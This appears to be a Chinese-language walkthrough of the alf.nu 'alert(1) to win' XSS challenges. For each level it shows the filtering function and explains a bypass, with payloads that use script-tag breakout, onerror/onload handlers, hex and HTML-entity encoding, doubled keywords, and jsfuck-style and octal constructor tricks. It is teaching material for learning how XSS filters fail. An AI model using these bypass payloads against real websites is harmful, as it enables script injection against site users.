平台地址:https://alf.nu/alert1
[toc]
Warmup 无过滤 查看代码:
1 2 3 function escape(s) { return '<script>console.log("'+s+'");</script>'; }
没有任何过滤,拼接构造出paylaod:1111");alert(1|"
, 拼接之后是这样的:<script>console.log("1111");alert(1|"");</script>
或者可以这样构造:1111");alert(1);//
用双斜杠把后面的注释掉。
Adobe 转义双引号 查看代码:
1 2 3 4 function escape(s) { s = s.replace(/"/g, '\\"'); return '<script>console.log("' + s + '");</script>'; }
会把双引号转换为反斜杠加引号使引号转义导致引号不可用,但是他没有过滤反斜杠,可以使用反斜杠转义掉他添加的反斜杠。 payload:
JSON JSON.stringify() 查看代码:
1 2 3 4 function escape(s) { s = JSON.stringify(s); return '<script>console.log(' + s + ');</script>'; }
JSON.stringify() 函数会转义双引号 "
与反斜杠 \
,没有对 < > / '
等字符进行转义。那么闭合script标签,创建一个新的script 标签来执行alert(1),用 //
注释掉多余的字符串。 payload:
1 </script><script>alert(1)//
Markdown 1 2 3 4 5 6 7 8 function escape(s) { var text = s.replace(/</g, '<').replace(/"/g, '"'); // URLs text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>'); // [[img123|Description]] text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">'); return text; }
首先转义尖括号 <
,第二行是将形如 http://S+
的字符串改写为
1 <a href="http://S+">http://S+</a>
(S+为匹配一个非空白字符一次或多次) 第三行将形如 [[a|b]]
的字符串改写为
1 <img alt="b" src="a.gif">
先放出payload:
1 [[a|http://onerror=alert(1)//]]
该payload的构造结果为:
1 <img alt="<a href="http://onerror1=alert(1)//" src="a.gif">">http://onerror=alert(1)//]]</a>
首先href的第一个 "
闭合掉alt的 "
,然后利用 //
代替空格,再用 //
注释掉最后的 "
。
1 2 3 4 5 6 7 8 9 10 function escape(s) { // Slightly too lazy to make two input fields. // Pass in something like "TextNode#foo" var m = s.split(/#/); // Only slightly contrived at this point. var a = document.createElement('div'); a.appendChild(document['create'+m[0]].apply(document, m.slice(1))); return a.innerHTML; }
这段代码要求输入一个形如 a#b
的字符串,然后#分割,前面的部分与create拼接形成一个createxxx的函数,document['create' + m[0]]
相当于调用了 document.createXXX()
函数, 一开始我想使用 document.createTextNode()
,但是发现这个函数也会对双引号和反斜杠转义,只能用 document.createComment()
,这个函数会创建一个注释节点。 测试一下
output:
那么只要闭合掉注释标签然后构造代码就好了 payload:
1 2 Comment#--><img/onerror=alert(1) src=x/> Comment#><iframe/onload=alert(1)
Callback 1 2 3 4 5 6 7 8 9 function escape(s) { // Pass inn "callback#userdata" var thing = s.split(/#/); if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback'; var obj = {'userdata': thing[1] }; var json = JSON.stringify(obj).replace(/</g, '\\u003c'); return "<script>" + thing[0] + "(" + json +")</script>"; }
第一个字段为 thing[0]
不允许有 a-z A-Z [ ] '
中其他字符出现,第二个字段json对字符 \ " <
进行了转义。按照程序的结果,本意应该是构造下面这种形式Input
output:
1 <script>aaa({"userdata":"bbb"})</script>
但是 thing[0]
可以包含 [ ] '
字符,却没有进行转义,那就简单了 payload:
output:
1 <script>'({"userdata":"'|alert(1)//"})</script>
Skandia html编码绕过大写转换 1 2 3 function escape(s) { return '<script>console.log("' + s.toUpperCase() + '")</script>'; }
toUpperCase() 函数将小写字符转换为大写字符,alert()函数会变成ALERT(),无法执行。 可以采用HTML实体编码来绕过 payload:
1 2 </script><iframe/onload=alert(1)> </script><img src=x onerror=alert(1)> //
output:
1 <script>console.log("</SCRIPT><IMG SRC=X ONERROR=alert(1)> //")</script>
Template 十六进制编码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function escape(s) { function htmlEscape(s) { return s.replace(/./g, function(x) { return { '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[x] || x; }); } function expandTemplate(template, args) { return template.replace( /{(\w+)}/g, function(_, n) { return htmlEscape(args[n]); }); } return expandTemplate( " \n\ <h2>Hello, <span id=name></span>!</h2> \n\ <script> \n\ var v = document.getElementById('name'); \n\ v.innerHTML = '<a href=#>{name}</a>'; \n\ <\/script> \n\ ", { name : s } ); }
这段代码会对 < > ' " &
字符进行转义,但是没有过滤 \
于是可以使用十六进制编码进行bypass。 payload:
1 1\x3c/a\x3e\x3cimg/src=x onerror=alert(1)\x3e
output:
1 2 3 4 5 <h2>Hello, <span id=name></span>!</h2> <script> var v = document.getElementById('name'); v.innerHTML = '<a href=#>1\x3c/a\x3e\x3cimg/src=x onerror=alert(1)\x3e</a>'; </script>
SON 2 双写绕过 1 2 3 4 5 function escape(s) { s = JSON.stringify(s).replace(/<\/script/gi, ''); return '<script>console.log(' + s + ');</script>'; }
这段代码会把 </script
替换为空串,(g: 全局查找,i:忽略大小写),使用双写绕过 payload:
1 </scr</scriptipt><img/src=x onerror=alert(1)>
Callback 2 三种注释符 1 2 3 4 5 6 7 8 9 function escape(s) { // Pass inn "callback#userdata" var thing = s.split(/#/); if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback'; var obj = {'userdata': thing[1] }; var json = JSON.stringify(obj).replace(/\//g, '\\/'); return "<script>" + thing[0] + "(" + json +")</script>"; }
Callback的加强版本,转义了 /
,无法构造 //
注释了,如果了解 javascript的注释是有三种的,分别为 // /**/ <!--
,那么利用第三种就可以轻松绕过了 payload:
Skandia 2 jsfuck编码 1 2 3 4 5 function escape(s) { if (/[<>]/.test(s)) return '-'; return '<script>console.log("' + s.toUpperCase() + '")</script>'; }
过滤了尖括号,而且变大写,只能使用编码绕过,aaencode和jsfuck都可以,但是写出的payload都超出了1000字符。如果图省事也可以使用jjencode 编码,537个字符。 但是还是太长了,要寻找一种短一点的payload,参考jsfuck的工作原理:https://github.com/aemkei/jsfuck#basics 要执行代码就要构造出形如这样的payload
1 []["fill"]["constructor"]("alert(1)")()
这样可以执行alert(1), payload:
1 ");_=!1+URL+!0,[][_[0]+_[10]+_[2]+_[2]][_[8]+_[11]+_[7]+_[3]+_[9]+_[38]+_[39]+_[8]+_[9]+_[11]+_[38]](_[1]+_[2]+_[4]+_[38]+_[9]+'(1)')()//
还可以使用八进制编码进行绕过:
1 "|[]['\160\157\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()|"